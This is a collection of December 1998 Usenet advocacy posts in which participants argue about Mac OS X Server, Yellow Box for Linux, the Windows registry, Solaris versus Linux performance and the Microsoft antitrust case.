>demonstration of Anointed form.
>
>> They ALL need their checks...
>
>Ooops, there's that rhetoric minefield again...
Checks/Balances are considerably more than rhetoric.
Mind you, that presumes that a certain context is
understood by all: like perhaps the information that
one might be exposed to in the sort of inner-city
public highschool where the year is not complete until
someone has been knifed or shot to death at some point...
We're not even to GED territory, nevermind elitism.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: michael.peck@ericsson.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net>
<ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
<74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
<FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com>
<FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com>
<3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com>
<3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com>
<367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com>
<36754DE4.A7435E0B@ericsson.com>
Mime-Version: 1.0
Date: Tue, 15 Dec 1998 15:39:03 GMT
In <36754DE4.A7435E0B@ericsson.com> Michael Peck wrote:
> Where did you get these numbers? Mac OS X has an installed base of 22+
> million?
He didn't say _X_. Why do you always feel compelled to do this?
> million" in contrast to "*some portion* of an 8-12 million...". I
> suppose this means that Apple currently develops Mac OS X for 100% of a
> 22+ million market. Is that what you meant?
Yes, I think that's their aim anyway. More specifically I think their aim
is to get a significant portion of those 22+ million to upgrade both their
machines _and_ their OS. It's a dream that I don't think they'll get more
than 25% of, but still. Given current installed base and reasonable
numbers of upgrades, I'd say 10 million is a reasonable number.
Now is10 million of the current Mac market better than 8-10 million of
the current Linux market? Hard to say, there's arguments that go both ways.
> Who said they had to resolve that issue? I never stipulated that YB for
> Linux had to be free. I never said it had to be Open Source. Quit adding
> conditions to the argument.
Why should he, you do it all the time!
Maury
From: "Dmitry Streblechenko" <dmitrys@-NoSpam-.asu.edu>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 1998 11:08:03 -0700
Organization: Arizona State University
Message-ID: <756869$3or$1@news.asu.edu>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet>
> This tends to support my assertion that the Windows registry
> is the MacOS (non-premptive multtasking, 'kinda' protected
> memory) analog sort of toy database...
And what exactly makes you think so? What features do you
need that aren't already there? What problems do you have with
the registry?
Dmitry
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: stefan@ (Stefan Mochnacki)
Subject: Re: M$: Really the Best Talent?
Message-ID: <F41Iu1.197@campus-news-reading.utoronto.ca>
Sender: nntp@campus-news-reading.utoronto.ca (News)
Organization: David Dunlap Observatory, University of Toronto
References: <36717987.21076075@news2.asan.com> <3674c514.0@uni-wuerzburg.de> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de>
Date: Wed, 16 Dec 1998 04:22:48 GMT
In article <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de>,
Matthias Buelow <token@cip.informatik.uni-wuerzburg.de> wrote:
>
>You'll notice it if you load a gnu/linux machine a bit more than
>a little. For example Solaris scales extremely well on SMP
>architectures. Linux doesn't even come near to this.
>Some Unix system have really high-performance, fully functional robust
>(== not as many fragment reassembly buffer overruns etc.) IP stacks.
>This is still an area of (possible) high development in Linux (or
>rather, for polishing the reimplementation of the wheel).
>Also process scheduling does not work very well, I get much better
>results on BSD systems for example (of which some are also freely
>available).
>
Linux 2.2 (i.e. 2.1.13x) is supposed to be much improved in the SMP and
scheduler areas. However, the Sun hardware has traditionally been built to
handle context switches very well, with a special small high-speed cache,
and hence Suns have generally been better at handling large numbers of
processes (e.g. many users logged on) than Intels, despite comparable
raw benchmark performance. At one time I supervised a departmental Sun 3/160
and used a Sun 386i as my little own seat and my students' server. Both had
identical MIPS/FLOPS ratings, but the Sun3 could handle 20 users on VT-100's
while my 386i sort of died at 5 or 6 users (both had an awesome 8MBytes of
memory :-)
I recently helped set up two Ultra 10's. Very nice boxes, but it took the
students and me about two weeks to download and install all the software to
bring them up to the standard of a Linux distribution. Apart from one
important Solaris-based application, there was no justification for these
students to (a) have Suns, and (b) to run Solaris, instead of a P-II/Linux
platform at considerably less cost.
To really rub it in, Sun's sendmail came broken, and I ended up installing
the latest from sendmail.com. Linux boxes usually install with sendmail up
and running.
My conclusion is that a good commercial Unix is fine for a big centralized
shop with a full-time professional sysadmin, but a small department with an
assortment of individual set-ups is much better off with Linux and commodity
hardware.
--
Stefan W. Mochnacki stefan@centaur.astro.utoronto.ca "Somewhere"
* If you feed the fish, please don't complain! *
==============At Ontario Place, 1 May - Thanksgiving===================
--
Stefan W. Mochnacki stefan@crux.astro.utoronto.ca "Somewhere"
==============At Ontario Place, 1 May - Thanksgiving===================
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 00:41:00 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <757klt$joc@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com>
Michael Peck (michael.peck@ericsson.com) wrote:
: Loren Petrich wrote:
: > >Elite, Anointed, there are many handles for those who presume to speak
: > >and act on behalf of beknighted "masses". ...
: >
: > Just like business leaders?
: No, not just like business leaders. Unless I voluntarily give them leave
: to do so, there are no "business leaders" who speak and act for me. Are
: there business leaders who speak and act for you? How do they do that?
: Why do you let them do this thing?
Whoa Whoa. Hold it a moment.
Nice try there. I almost let that one slip by. In the case of the
technical 'Elite' you never said that they were successful in their
attempt to speak for you, only that they *claimed* to speak for you.
That was enough for you to label them "elitists'. But, when we
try to draw a comparasin to business leaders you change the criteria
for elitism so that it is no longer sufficient to simply claim to
speak for the people, now they have to succeed at it to be elitist.
Nice dodge. Didn't work.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 00:44:01 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <757krj$nlm@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <F3tJJB.9x@T-FCN.Net> <36718b58.25637024@news2.asan.com> <pxpst2-1312981209280001@pelli.pathology.pitt.edu> <756mv2$m7n$1@eskinews.eskimo.com>
Craig Dowell (cmd@eskimo.com) wrote:
: I would say that the definition of an operating system found in glossaries
: and in your generic intro to operating systems classes have very little to
: do with any marketable product that exists today. An operating system
: today exists primarily as a convenient widget which provides a constant,
: capable environment to application programmers. The nightmares of
: combinatorial explosions of dependencies have been largely eliminated
: as "operating systems" subsume more and more commonly used functionality.
: You can take an application written for a modern OS and not have to worry
: about either a) paying for duplicate low-level functionality developed and
: provided by the application to ensure that all dependencies are resolved;
: or b) having to go out and find and install various and sundry modules
: in order to get the app you just bought working.
You missed one:
c) Do what most MS apps do, which is to install the needed libs along
with the app you just bought, thereby causing DLL hell when you
have other apps that need that same library, but maybe an older
version or newer version of it.
Windows does *not* come with all the libraries the apps depend on.
The apps just install the libraries they need silently without
telling you.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 00:45:03 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <757kth$kmr@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com>
Michael Peck (michael.peck@ericsson.com) wrote:
: Loren Petrich wrote:
: > >No, not just like business leaders. Unless I voluntarily give them leave
: > >to do so, there are no "business leaders" who speak and act for me. Are
: > >there business leaders who speak and act for you? How do they do that?
: > >Why do you let them do this thing?
: >
: > What you describe is true of the other "elites" you complain
: > about -- you don't have to pay any attention to them if you don't want to.
: Eh, what's that? I don't have to pay attention to presidents and
: congressional members? I pay them taxes, I observe their speed limits, I
: filled out their Selective Service forms, I lost two great-grandparents
: to their wars...but you say I shouldn't pay any attention to them if I
: don't want to.
Nice dodge. The "other elites" you were bitching about were not
in politics. You were bitching about technical people.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 15 Dec 1998 17:09:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75654m$g7f$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1112980646160001@elk62.dol.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu> <75119t$712@news1.panix.com> <adtF406GJ.n0q@netcom.com>
adt@netcom.com (Anthony D. Tribelli) wrote:
> : I'll agree with you that it sucks that Apple isn't including a rootless X11
> : server and a set of libs to better integrate the X and Yellow worlds; but,
> : as long as there is some 3rd party option I can live with it.
> : At one point someone from Apple mentioned that if a 3rd party product
> : existed, they would not be opposed to shipping it on the demo disk that will
> : ship with OSX or in an OSX Extras folder if it were a freeware product.
>
> In addition to that Apple may worth with a VAR to provide a Mac with a
> Unix emphasis. Or maybe something will evolve out of the higher education
> sales channel.
I think it would make perfect sense for either Apple or Apple in collaboration
with others to provide a variety of OSX-based bundles to respond to different
needs. An OSX + X-windows bundle would be one such possible bundle.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com> <SCOTT.98Dec11174346@slave.doubleu.com>
Message-ID: <zSFd2.4427$f97.3735@news.rdc1.sdca.home.com>
Date: Wed, 16 Dec 1998 03:33:51 GMT
NNTP-Posting-Date: Tue, 15 Dec 1998 19:33:51 PDT
Organization: @Home Network
In <SCOTT.98Dec11174346@slave.doubleu.com> Scott Hess wrote:
> I do use Linux on my servers, though,
>
You'll love this...
http://www.techweb.com/wire/story/TWB19981215S0011
Apple will offer choices on Linux. An OPEN Apple isn't far behind...
-r
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Wed, 16 Dec 1998 03:34:18 GMT
Organization: ICGNetcom
Message-ID: <3686298f.25205261@nntp.ix.netcom.com>
References: <3669CB9E.MD-0.198.tb7@inquo.net> <NGRW6EAMLUc2EwhM@wholehog.demon.co.uk> <755do4$8br$22@infa.central.susx.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
kcci1@central.susx.ac.uk (Alan L.M. Buxey) wrote:
>On Fri, 11 Dec 1998 16:05:32 +0000 ,Stuart Brady posted the following:
>: You can't 'upgrade' to Windows 98, because it's setup program doesn't
>: work properly, (well, that was the last I heard, and it doesn't seem
>: that Microsoft have done anything about it,) so simply don't bother.
>: Windows 98 is buggy, anyway. (Linux just has undocumented features.)
>I managed to upgrade the PC's here at work from 95 to 98 by using the
>upgrade option..it does work
You don't get a full, pure Win98 if you do that, though. It works a lot
better if you install over an empty Windows directory. I had a few
problems (none fatal, though) with Win98 until I installed fresh.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Tue, 15 Dec 1998 23:20:29 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77enpt.ogc.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e2$6095c2e0$35f0ccc3@default>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
On 16 Dec 98 01:54:13 GMT, Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
>
>
>Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>>
>> To me, a monolithic registry is the height of stupidity. It is one
>> of the main reasons I hope I never wind up buying a Wintel.
>
> To me, as an administrator, it's worth it's weight in gold.
It never helped be one bit as an administrator.
In fact, it has actually been somewhat of a
hinderance. An opaque uber-storage facility
like a registry only hides details from those
who really need to know them and are quite
capable of understanding them.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Message-ID: <petrichF41x56.HuD@netcom.com>
Organization: Netcom
References: <36717987.21076075@news2.asan.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com>
Date: Wed, 16 Dec 1998 09:31:54 GMT
Sender: petrich@netcom18.netcom.com
In article <3676E18C.9C5626BF@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>Eh, what's that? I don't have to pay attention to presidents and
>congressional members? I pay them taxes, I observe their speed limits, I
>filled out their Selective Service forms, I lost two great-grandparents
>to their wars...but you say I shouldn't pay any attention to them if I
>don't want to.
Where's your respect for authority???
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-dXxdZuWwwsZr@localhost>
Newsgroups: comp.sys.next.advocacy
Subject: Re: No Slashdot Poll
References: <3676176A.6212EABF@nstar.net> <FIiROLCWddLd-pn2-TEHsqn7z8gVM@localhost> <3676bedf.0@stan.astra.co.uk>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 16 Dec 98 09:55:43 GMT
On Tue, 15 Dec 1998 19:56:15, mmalcolm crawford <malcolm@plsys.co.uk>
wrote:
> taiQ composed another sweeping gereralisation which doesn't stand up
> to scrutiny.:
Thank you, again, for keeping the discussion civilized and not
attacking the person expressing his opinions in any nastier ways.
(hint: you could still do a little better)
> > With all due respect, I feel that such a poll would not serve its
> > purpose very well at this point of time simply because very little, if
> > any, information exists regarding either Apple's YB strategy or Mac OS
> > X (let alone the Intel version).
[the rest was cut]
>
> What do you want to know about YB and MacOS X?
>
> There is plenty of information available...
> .... much even from Apple's web site:
> http://developer.apple.com/macosx/
Taken out of context this can be interpreted as if I claimed that
little or no information exists regarding either Yellow Box or Mac OS
X. Well, I was talking in the context of "Yellow Box for Linux"
(slashdot poll) and whether enough is known regarding Apple's
_strategy_ for Yellow Box and Mac OS X. Information such as:
Will Mac OS X be ported to Intel or other non-PPC platforms?
Do we know if Apple is even planning YB for Linux?
How far-reaching would the Linux involvement be?
What would YB for Linux look like from a technical standpoint?
What about the time frame?
What kind of licensing scheme and pricing would we be talking about?
I expressed my opinion that before more is known of the supposed YB
for Linux strategy (which would be part of Apple's larger strategy for
YB and Mac OS X, as I indicated in my previous post) it would appear
premature to 1) begin polling Linux users and 2) use those poll
results to "determine whether a Linux port is necessary...". A good
introductory essay would, IMHO, shed some light on the issues I listed
above.
FWIW, I would be quite pleased if you could try to avoid presuming or
imagining _malice_ in my posts. I want YB and Mac OS X to be
successful as much as anyone in this newsgroup. Heck, I'd like to see
_your_ business opportunies growing manyfold in the process. If you
don't agree with an opinion then build your own case. If something
looks ambiguous seek for clarification - english isn't the
mothertongue of everyone in the internet, you know. Finally, ad
hominem attitude seldom provides sound base for constructive dialogue.
Rgds,
--
taiQ
[this space is intentionally blank]
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Microsoft patented 'completion'
Newsgroups: comp.sys.next.advocacy
Message-ID: <36778d0e.0@news.depaul.edu>
Date: 16 Dec 98 10:35:58 GMT
Filed June 5 1996
Issued Dec 1, 1998
US5845300: Method and apparatus for suggesting completions for a
partially entered data item based on previously-entered,
associated data items
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: 15 Dec 98 09:10:23
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec15091023@slave.doubleu.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com>
<36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com>
<petrichF3z4KB.8uM@netcom.com>
In-reply-to: petrich@netcom.com's message of Mon, 14 Dec 1998 21:19:23 GMT
In article <petrichF3z4KB.8uM@netcom.com>,
petrich@netcom.com (Loren Petrich) writes:
In article <367576aa.24105942@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>On 14 Dec 98 19:14:24 GMT, in comp.os.ms-windows.advocacy
>token@cip.informatik.uni-wuerzburg.de (Matthias Buelow) wrote:
>>What an abominable kludge; Windoze stores all app's stuff in one
>>single database and doesn't even provide methods for
>>synchronization.
>
>It's doesn't need a synchronization method. The registry is
>always there you; just have to read it. ...
True, no synchronization is necessary if one only wants to read it,
but if one wishes to write into it (add a key, delete a key, change
value of key), that's where synchronization is necessary. It's the
sort of thing that gets covered in elementary OS-design textbooks.
I expect that MS handles this level of synchronization. What MS needs
to provide, though, is synchronization throughout the "extended"
registry, meaning the registry, plus the internal cached data in
various apps which use the registry.
As indicated elsewhere, it sounds like MS has provided the low-level
functions necessary to build such things, but not the high-level
functions. IMHO, an easier solution would be to broadly split
registry entries between things like background colors and the like,
and things like IP addresses and the like. Most registry information
doesn't make a difference, anyhow, and there's no reason that you
should have to reboot just in case it does... [dammit, the computer is
supposed to help me with things like that :-).]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: stephanh@svstud.win.tue.nl (Stephan H.M.J. Houben)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 11:14:46 GMT
Organization: Eindhoven University of Technology, The Netherlands
Message-ID: <7584n6$ojn@news.tue.nl>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <3673796A.362778FC@brown.edu> <913564390.148534@soam.wwnet.net> <36750AB4.AE89FAE9@ix.netcom.com> <7571qh$q0a$1@news.campus.mci.net> <913779339.899180@soam.wwnet.net>
Sean (sbiggs.REMOVE@.teleweb.net) wrote:
: OLE is pretty cool. I haven't seen anything like it on Unix. OLE is well
: documented so none-MS apps can take advantage of it. Neither Visio nor
: Micrografix need know anything about each others file structures. OLE acts
: as a communications layer between the two. It's similar to Telnet not
: caring whether it's communicating over Ethernet or Token Ring.
But it's still Windows-only (as being based on the Windows message-sending
API, if I remember correctly).
The Gnome project tries to achieve a platform-independent sort-of-equivalent
thing called Baboon. (Stands for something like
"Baboon Allows Baboon Objects Over Networks".)
It sounds rather promising, but unfortunately it is not finished yet.
Of course, the success of something like Baboon is completely dependent on
the question whether application developers will use it. We'll see.
Greetings,
Stephan Houben
From: stevem@hisoft.co.uk
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 11:05:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <758453$5hf$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <36736392.3496497@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3674BF34.13D10FAE@brown.edu> <F1Ad2.360$eB2.877@news14.ispnews.com>
In article <F1Ad2.360$eB2.877@news14.ispnews.com>,
joecosby@puvsoh.seatac.net (Joe Cosby) wrote:
> ** To reply in e-mail, remove "puvsoh." from address **
>
> ALSO SPRACH Ben White:
> > Willy wrote:
>
> [snip]
>
> > work. Lots of people have great ideas and the know-how to implement them
> > with
> > resources that pale beside those of MS. You don't need a fleet of thousands
> > of
> > programers to create some really great applications. Think Adobe Photoshop.
> > Or
> > Qualcomm's Eudora. Or the web browser.
>
> For the Amiga there is a lot of really well-done software done by very small
> groups of programmers or even one programmer. Miami, possibly one of the
> best TCP/IP stacks for any platform, was, I think, written by one guy
> (Holger Kruse)
Correct.
> ImageFX, WildFire, Cinema4D,
Development of CINEMA 4D on the Amiga has now stopped -
http://www.maxon.net/pages/news/amiga_statement_e.html
But MAXON r currently working on BeOS port.
--
Stephen Marriott stevem@hisoft.co.uk
HiSOFT SYSTEMS
http://www.hisoft.co.uk/ http://www.cinema4d.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: float@interport.net (void)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 15 Dec 1998 22:03:58 GMT
Message-ID: <slrn77dn6d.j4m.float@interport.net>
References: <36717987.21076075@news2.asan.com> <uQEc2.1649$WZ6.4080317@ptah.visi.com> <74va0v$cou$1@wuff.mayn.de> <y1uaf0rr02y.fsf@acuson.com> <3674c514.0@uni-wuerzburg.de> <y1uvhjephbw.fsf@acuson.com> <ye090gape0z.fsf@aruba.informatik.uni-wuerzburg.de> <y1un24qozb2.fsf@acuson.com>
NNTP-Posting-Date: 15 Dec 1998 22:03:58 GMT
User-Agent: slrn/0.9.5.3 (UNIX)
On 14 Dec 1998 19:32:17 -0800, Darin Johnson <darin@usa.net.nospam>
wrote:
>
>Are there any comparisons of SMP on Sparc Solaris versus Sparc Linux?
I haven't used Linux on SPARCs, but AFAIK Linux/SPARC has the same
problems with SMP that Linux/x86 has. These are not low-level hardware
issues so much as issues of synchronization and threading in the kernel.
It's the same deal as with the BSDs -- it takes a lot of work to make a
traditional kernel fully preemptible.
--
Ben
"You have your mind on computers, it seems."
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 12:39:14 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3677A9F2.D1184394@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com>
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Michael Peck wrote:
>
> Chris Welch wrote:
>
> > People don't care. I don't see people saying 'boycott MS' because it
> > will force them to use a real OS were they'll have to have atleast a
> > basic understanding of their computer. The general public is stupid and
> > as long as they have pretty colors to keep them happy, it won't change.
>
> In other words...people are getting what they want, regardless of your
> opinion.
But they want it because everyone else has it. They don't know that
there are alternatives. MS users brainwash themselves. My friend thinks
that it's in the NATURE of a computer to crash every so often.
>
> How disgusting. Since when have we been letting people just make their
> own damned decisions? Absolutely nauseating. Reminds me of all that
> "Give me Liberty or give me death!" crap the Founding Fathers were
> always spouting.
>
> MJP
There is a difference in informed decisions and bandwagon decisions.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 1998 12:45:40 GMT
Organization: AOL http://www.aol.com
References: <756k6o$p4e$1@geraldo.cc.utexas.edu>
Message-ID: <19981216074540.14116.00000011@ng57.aol.com>
I was not indicating setting the association, but rather opening on a
case-by-case basis individual files. I will grant that under NS/OS one can't
set a given file/directory to use a tool other than the system-wide default for
a single user.
However, please think of the Tool Inspector in Workspace.app as an extension to
the Dock.
Select a .html file, then bring up the Tool Inspector
Then, you get a list of all of the applications which you have access to on
your system/network which register the .html extension, double-click on the
application of your choice to open the file in said application.
This is one of the features which I really miss in Mac OS--I'd really like to
be able to choose when to open an Illustrator file in FreeHand for example.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 16 Dec 1998 01:11:43 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
